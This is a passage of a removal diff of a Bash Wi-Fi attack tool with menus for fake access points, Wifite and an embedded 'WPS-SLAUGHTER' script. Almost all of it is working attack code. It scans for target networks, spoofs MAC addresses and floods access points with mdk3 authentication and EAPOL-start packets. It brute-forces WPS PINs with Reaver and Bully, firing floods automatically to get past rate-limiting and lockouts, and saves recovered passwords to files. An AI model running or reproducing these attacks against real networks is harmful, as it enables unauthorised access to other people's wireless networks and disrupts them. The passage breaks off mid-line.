< $DUMP_PATH/dump-02.csv - echo - echo -e ""$green "("$white"*"$green ")Active clients"$transparent"" - echo "" - echo " Select Target " - echo -n " #> " - read choice - idlenght=${aidlenght[$choice]} - ssid=${assid[$choice]} - channel=$(echo ${achannel[$choice]}|tr -d [:space:]) - mac=${amac[$choice]} - privacy=${aprivacy[$choice]} - speed=${aspeed[$choice]} - Host_IDL=$idlength - Host_SPEED=$speed - Host_ENC=$privacy - Host_MAC=$mac - Host_CHAN=$channel - acouper=${#ssid} - fin=$(($acouper-idlength)) - Host_SSID=${ssid:1:fin} - - conditional_clear - - askAP -} - -# FakeAP -function askAP { - - DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` - - if [ $DIGITOS_WIFIS_CSV -le 15 ]; then - selection && break - fi - - if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then - fakeapmode="airbase-ng" - askauth - fi - - mostrarheader - while true; do - - infoap - - echo " ##### Select Attack Option #####" - echo " " - echo -e " "$blue"1)"$transparent" FakeAP with Hostapd ("$red"Recommended)"$transparent")" - echo -e " "$blue"2)"$transparent" FakeAP with airbase-ng (Slower connection)" - echo -e " "$blue"3)"$transparent" WPS-SLAUGHER (By:ApatheticEuphoria)" - echo -e " "$blue"4)"$transparent" Wifite Attack (Automated Network Hacking)" - echo -e " "$blue"5)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; - 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) fakeapdmode="WPS"; wps; break ;; - 4 ) wifite ;wifite; break ;; - 5 ) selection; break ;; - * ) echo "Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -#wifite -function wifite { - sudo python wifite.py -} -# Test Passwords / airbase-ng -function askauth { - - conditional_clear - mostrarheader - while true; do - - echo "METHOD TO VERIFICATION THE PASSWORD" - echo " " - echo -e " "$blue"1)"$transparent" Handshake ("$red"Recommended"$transparent")" - echo -e " "$blue"2)"$transparent" Wpa_supplicant(More failures)" - echo -e " "$blue"3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) authmode="handshake"; handshakelocation; break ;; - 2 ) authmode="wpa_supplicant"; webinterface; break ;; - 3 ) askAP; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} -function wps { - -clear -echo " -██╗ ██╗██████╗ ███████╗ ███████╗██╗ █████╗ ██╗ ██╗ ██████╗ ██╗ ██╗████████╗███████╗██████╗ -██║ ██║██╔══██╗██╔════╝ ██╔════╝██║ ██╔══██╗██║ ██║██╔════╝ ██║ ██║╚══██╔══╝██╔════╝██╔══██╗ -██║ █╗ ██║██████╔╝███████╗█████╗███████╗██║ ███████║██║ ██║██║ ███╗███████║ ██║ █████╗ ██████╔╝ -██║███╗██║██╔═══╝ ╚════██║╚════╝╚════██║██║ ██╔══██║██║ ██║██║ ██║██╔══██║ ██║ ██╔══╝ ██╔══██╗ -╚███╔███╔╝██║ ███████║ ███████║███████╗██║ ██║╚██████╔╝╚██████╔╝██║ ██║ ██║ ███████╗██║ ██║ -╚══╝╚══╝ ╚═╝ ╚══════╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ - -" - -echo "WPS-SLAUGHTER BY: Apathetic Euphoria" -echo "+ Help and Support from Aanarchyy" - -sleep 3 -clear - -#!/bin/bash -clear -declare BSSID; -declare ESSID; -declare CHANNEL; -declare WIFI_MONITOR; -declare WIFI_MONITOR2; -declare WIFI_MONITOR3; -declare WIFI_MONITOR4; -declare WIFI_MONITOR5; -sleep 3 -clear - -sudo rfkill unblock all - -#####Functions for Monitor Mode#### - -enable_mon_mode_1() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR" -sudo ifconfig $WIFI_MONITOR down -sleep 1 -sudo iwconfig $WIFI_MONITOR mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR up -echo "Monitor Mode Enabled" -} - -enable_mon_mode_2() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR2" -sudo ifconfig $WIFI_MONITOR2 down -sleep 1 -sudo iwconfig $WIFI_MONITOR2 mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR2 up -echo "Monitor Mode Enabled" -} - -enable_mon_mode_3() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR3" -sudo ifconfig $WIFI_MONITOR3 down -sleep 1 -sudo iwconfig $WIFI_MONITOR3 mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR3 up -echo "Monitor Mode Enabled" -} - -enable_mon_mode_4() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR4" -sudo ifconfig $WIFI_MONITOR4 downa -sleep 1 -sudo iwconfig $WIFI_MONITOR4 mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR4 up -echo "Monitor Mode Enabled" -} - -enable_mon_mode_5() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR5" -sudo ifconfig $WIFI_MONITOR5 down -sleep 1 -sudo iwconfig $WIFI_MONITOR5 mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR5 up -echo "Monitor Mode Enabled" -} - -####End of Functions for Monitor Mode#### - -#### Functions for MAC CHANGER #### - -mac_change_1() -{ -echo "Setting the MAC Address on $WIFI_MONITOR" -sudo ifconfig $WIFI_MONITOR down -sleep 3 -macchanger $WIFI_MONITOR -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR up -echo "MAC Changed" -} - -mac_change_2() -{ -echo "Setting the MAC Address on $WIFI_MONITOR2" -sudo ifconfig $WIFI_MONITOR2 down -sleep 3 -macchanger $WIFI_MONITOR2 -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR2 up -echo "MAC Changed" -} - -mac_change_3() -{ -echo "Setting the MAC Address on $WIFI_MONITOR3" -sudo ifconfig $WIFI_MONITOR3 down -sleep 3 -macchanger $WIFI_MONITOR3 -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR3 up -echo "MAC Changed" -} - -mac_change_4() -{ -echo "Setting the MAC Address on $WIFI_MONITOR4" -sudo ifconfig $WIFI_MONITOR4 down -sleep 3 -macchanger $WIFI_MONITOR4 -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR4 up -echo "MAC Changed" -} - -mac_change_5() -{ -echo "Setting the MAC Address on $WIFI_MONITOR5" -sudo ifconfig $WIFI_MONITOR5 down -sleep 3 -macchanger $WIFI_MONITOR5 -m 02:22:88:29:EC:6F -sleep 3 -sudo ifconfig $WIFI_MONITOR5 up -echo "MAC Changed" -} - -####End of Functions for MAC CHANGER #### - - -####Target Scanner#### - -scan_for_targets() -{ - -sudo ifconfig $WIFI_MONITOR down -sudo iwconfig $WIFI_MONITOR mode managed -sudo ifconfig $WIFI_MONITOR up - -eval $(sudo iwlist $WIFI_MONITOR scan | awk '/Address|ESSID|Channel:/' | sed 's/"//g' | sed 's/ Cell 01 - Address: /BSSID1=/g' | sed 's/ Cell 02 - Address: /BSSID2=/g' | sed 's/ Cell 03 - Address: /BSSID3=/g' | sed 's/ Cell 04 - Address: /BSSID4=/g' | sed 's/ Cell 05 - Address: /BSSID5=/g' | sed 's/ Cell 06 - Address: /BSSID6=/g' | sed 's/ Cell 07 - Address: /BSSID7=/g' | sed 's/ Cell 08 - Address: /BSSID8=/g' | sed 's/ Cell 09 - Address: /BSSID9=/g' | sed 's/ Cell 10 - Address: /BSSID10=/g' | sed 's/ Cell 11 - Address: /BSSID11=/g' | sed 's/ Cell 12 - Address: /BSSID12=/g' | sed 's/ Cell 13 - Address: /BSSID13=/g' | sed 's/ Cell 14 - Address: /BSSID14=/g' | sed 's/ Cell 15 - Address: /BSSID15=/g' | sed 's/ Cell 16 - Address: /BSSID16=/g' | sed 's/ Cell 17 - Address: /BSSID17=/g' | sed 's/ Cell 18 - Address: /BSSID18=/g' | sed 's/ Cell 19 - Address: /BSSID19=/g' | sed 's/ Cell 20 - Address: /BSSID20=/g' | sed '2s/ Channel:/CHANNEL1=/g' | sed '5s/ Channel:/CHANNEL2=/g' | sed '8s/ Channel:/CHANNEL3=/g' | sed '11s/ Channel:/CHANNEL4=/g' | sed '14s/ Channel:/CHANNEL5=/g' | sed '17s/ Channel:/CHANNEL6=/g' | sed '20s/ Channel:/CHANNEL7=/g' | sed '23s/ Channel:/CHANNEL8=/g' | sed '26s/ Channel:/CHANNEL9=/g' | sed '29s/ Channel:/CHANNEL10=/g' | sed '32s/ Channel:/CHANNEL11=/g' |sed '35s/ Channel:/CHANNEL12=/g' | sed '38s/ Channel:/CHANNEL13=/g' | sed '41s/ Channel:/CHANNEL14=/g' | sed '44s/ Channel:/CHANNEL15=/g' | sed '47s/ Channel:/CHANNEL16=/g' | sed '50s/ Channel:/CHANNEL17=/g' | sed '53s/ Channel:/CHANNEL18=/g' | sed '56s/ Channel:/CHANNEL19=/g' | sed '59s/ Channel:/CHANNEL20=/g' | sed '3s/ ESSID:/ESSID1=/g' | sed '6s/ ESSID:/ESSID2=/g' | sed '9s/ ESSID:/ESSID3=/g' | sed '12s/ ESSID:/ESSID4=/g' | sed '15s/ ESSID:/ESSID5=/g' | sed '18s/ ESSID:/ESSID6=/g' | sed '21s/ ESSID:/ESSID7=/g' | sed '24s/ ESSID:/ESSID8=/g' | sed '27s/ ESSID:/ESSID9=/g' | sed '30s/ ESSID:/ESSID10=/g' | sed '33s/ ESSID:/ESSID11=/g' | sed '36s/ ESSID:/ESSID12=/g' | sed '39s/ ESSID:/ESSID13=/g' | sed '42s/ ESSID:/ESSID14=/g' | sed '45s/ ESSID:/ESSID15=/g' | sed '48s/ ESSID:/ESSID16=/g' | sed '51s/ ESSID:/ESSID17=/g' | sed '54s/ ESSID:/ESSID18=/g' | sed '57s/ ESSID:/ESSID19=/g' | sed '60s/ ESSID:/ESSID20=/g') - -conditional_clear -mostrarheader - -echo "Select your wlan" -echo "" -echo -e ""$blue"0)"$transparent" Rescan" -echo -e ""$blue"1)"$transparent" $ESSID1" -echo -e ""$blue"2)"$transparent" $ESSID2" -echo -e ""$blue"3)"$transparent" $ESSID3" -echo -e ""$blue"4)"$transparent" $ESSID4" -echo -e ""$blue"5)"$transparent" $ESSID5" -echo -e ""$blue"6)"$transparent" $ESSID6" -echo -e ""$blue"7)"$transparent" $ESSID7" -echo -e ""$blue"8)"$transparent" $ESSID9" -echo -e ""$blue"9)"$transparent" $ESSID10" -echo -e ""$blue"10)"$transparent" $ESSID11" -echo -e ""$blue"11)"$transparent" $ESSID11" -echo -e ""$blue"12)"$transparent" $ESSID12" -echo -e ""$blue"13)"$transparent" $ESSID13" -echo -e ""$blue"14)"$transparent" $ESSID14" -echo -e ""$blue"15)"$transparent" $ESSID15" -echo -e ""$blue"16)"$transparent" $ESSID16" -echo -e ""$blue"17)"$transparent" $ESSID17" -echo -e ""$blue"18)"$transparent" $ESSID18" -echo -e ""$blue"19)"$transparent" $ESSID19" -echo -e ""$blue"20)"$transparent" $ESSID20" -echo -e ""$blue"21)"$transparent"EXIT" -echo -e "" - - -read a -case $a in - - 0) -clear -scan_for_targets -;; - 21) -clear -exitmode -;; - 1) -BSSID=$BSSID1 -ESSID=$ESSID1 -CHANNEL=$CHANNEL1 -;; - 2) -BSSID=$BSSID2 -ESSID=$ESSID2 -CHANNEL=$CHANNEL2 -;; - 3) -BSSID=$BSSID3 -ESSID=$ESSID3 -CHANNEL=$CHANNEL3 -;; - 4) -BSSID=$BSSID4 -ESSID=$ESSID4 -CHANNEL=$CHANNEL4 -;; - 5) -BSSID=$BSSID5 -ESSID=$ESSID5 -CHANNEL=$CHANNEL5 -;; - 6) -BSSID=$BSSID6 -ESSID=$ESSID6 -CHANNEL=$CHANNEL6 -;; - 7) -BSSID=$BSSID7 -ESSID=$ESSID7 -CHANNEL=$CHANNEL7 -;; - 8) -BSSID=$BSSID8 -ESSID=$ESSID8 -CHANNEL=$CHANNEL8 -;; - 9) -BSSID=$BSSID9 -ESSID=$ESSID9 -CHANNEL=$CHANNEL9 -;; - 10) -BSSID=$BSSID10 -ESSID=$ESSID10 -CHANNEL=$CHANNEL10 -;; - 11) -BSSID=$BSSID11 -ESSID=$ESSID11 -CHANNEL=$CHANNEL11 -;; - 12) -BSSID=$BSSID12 -ESSID=$ESSID12 -CHANNEL=$CHANNEL12 -;; - 13) -BSSID=$BSSID13 -ESSID=$ESSID13 -CHANNEL=$CHANNEL13 -;; - 14) -BSSID=$BSSID14 -ESSID=$ESSID14 -CHANNEL=$CHANNEL14 -;; - 15) -BSSID=$BSSID15 -ESSID=$ESSID15 -CHANNEL=$CHANNEL15 -;; - 16) -BSSID=$BSSID16 -ESSID=$ESSID16 -CHANNEL=$CHANNEL16 -;; - 17) -BSSID=$BSSID17 -ESSID=$ESSID17 -CHANNEL=$CHANNEL17 -;; - 18) -BSSID=$BSSID18 -ESSID=$ESSID18 -CHANNEL=$CHANNEL18 -;; - 19) -BSSID=$BSSID19 -ESSID=$ESSID19 -CHANNEL=$CHANNEL19 -;; - 20) -BSSID=$BSSID20 -ESSID=$ESSID20 -CHANNEL=$CHANNEL20 -;; - *) -Invalid Option -;; -esac - -} - -####End of Target Scanner#### - -################################## Functions For MDK3 ######################################## - -run_mdk3_ASOC1() -{ - xterm -e "timeout 60 mdk3 WIFI_MONITOR a -a $BSSID -m" -} - -run_mdk3_EAPOL1() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250" -} - -run_mdk3_ASOC2() -{ - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m" -} - -run_mdk3_EAPOL2() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250" -} - -run_mdk3_ASOC3() -{ - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m" -} - -run_mdk3_EAPOL3() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250" -} - -run_mdk3_ASOC4() -{ - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m" -} - -run_mdk3_EAPOL4() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250" -} - -run_mdk3_ASOC5() -{ - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m" -} - -run_mdk3_EAPOL5() -{ - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250" -} - -##################################End Of Functions For MDK3 ######################################## - -conditional_clear -mostrarheader - -echo "§How many wlan WIFI_MONITORs§" -echo " " -echo -e ""$blue"1)"$transparent" 1 WIFI_MONITOR" -echo -e ""$blue"2)"$transparent" 2 WIFI_MONITOR" -echo -e ""$blue"3)"$transparent" 3 WIFI_MONITOR" -echo -e ""$blue"4)"$transparent" Back" -echo " " -echo -n " #> " - -read a -case $a in - 1) -clear -echo -read -p " - What is the name of your Wlan WIFI_MONITOR (Ex:wlan0) - ": WIFI_MONITOR; - -clear - -scan_for_targets - - -clear - -enable_mon_mode_1 - -sleep 1 - -clear - - - -conditional_clear -mostrarheader - -echo "Change MAC Address" -echo " " - echo -e " "$blue"1)"$transparent" yes" - echo -e " "$blue"2)"$transparent" no" - echo " " - echo -n " #> " - -read c -case $c in - 1) -clear - -mac_change_1 - -sleep 1 - -clear -;; - 2) -clear -;; - *)Invalid Option -;; -esac - - -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" - -read d -case $d in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC1 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL1 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC1 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL1 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac -} - -menu - -;; - 2) -clear - -conditional_clear -mostrarheader -echo -read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; -clear -echo -read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; -clear - -scan_for_targets - -clear - -enable_mon_mode_1 - -enable_mon_mode_2 - -clear -conditional_clear -mostrarheader -echo "Second WIFI_MONITOR -1)Yes -2)No" - -read f -case $f in - 1) -clear - -mac_change_1 - -mac_change_2 - -clear -;; - 2) -;; - *)Invalid Option -;; -esac - - - -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" -read g -case $g in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC2 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL2 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC2 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL2 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac - -} - -menu -conditional_clear -mostrarheader -;; - 3) -clear -echo -read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; -clear -echo -read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; -clear -echo -read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; -clear - -scan_for_targets - -clear - - -enable_mon_mode_1 - -enable_mon_mode_2 - -enable_mon_mode_3 - - - - -clear -conditional_clear -mostrarheader -echo "************** - Would you like to set the 3 WIFI_MONITORs to an Identical MAC Address? - ************** -1)Yes -2)No" - -read i -case $i in - 1) -clear - -mac_change_1 - -mac_change_2 - -mac_change_3 - -clear -;; - 2) -;; - *)Invalid Option -;; -esac - - -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" -read j -case $j in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC3 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL3 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC3 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL3 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac -} - -menu - -;; - 4) -clear -echo -read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; -clear -echo -read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; -clear -echo -read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; -clear -echo -read -p " - What is the name of your 4th Wlan WIFI_MONITOR (Ex:Wlan3) - ": WIFI_MONITOR4; -clear - -scan_for_targets - -clear - -enable_mon_mode_1 - -enable_mon_mode_2 - -enable_mon_mode_3 - -enable_mon_mode_4 - - -clear - -echo "************** - Would you like to set ALL Wlan WIFI_MONITORs to the same MAC Address? - ************** -1)Yes -2)No" - -read l -case $l in - 1) -clear - -mac_change_1 - -mac_change_2 - -mac_change_3 - -mac_change_4 - -clear -;; - 2) -;; - *)Invalid Option -;; -esac - -clear - -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver 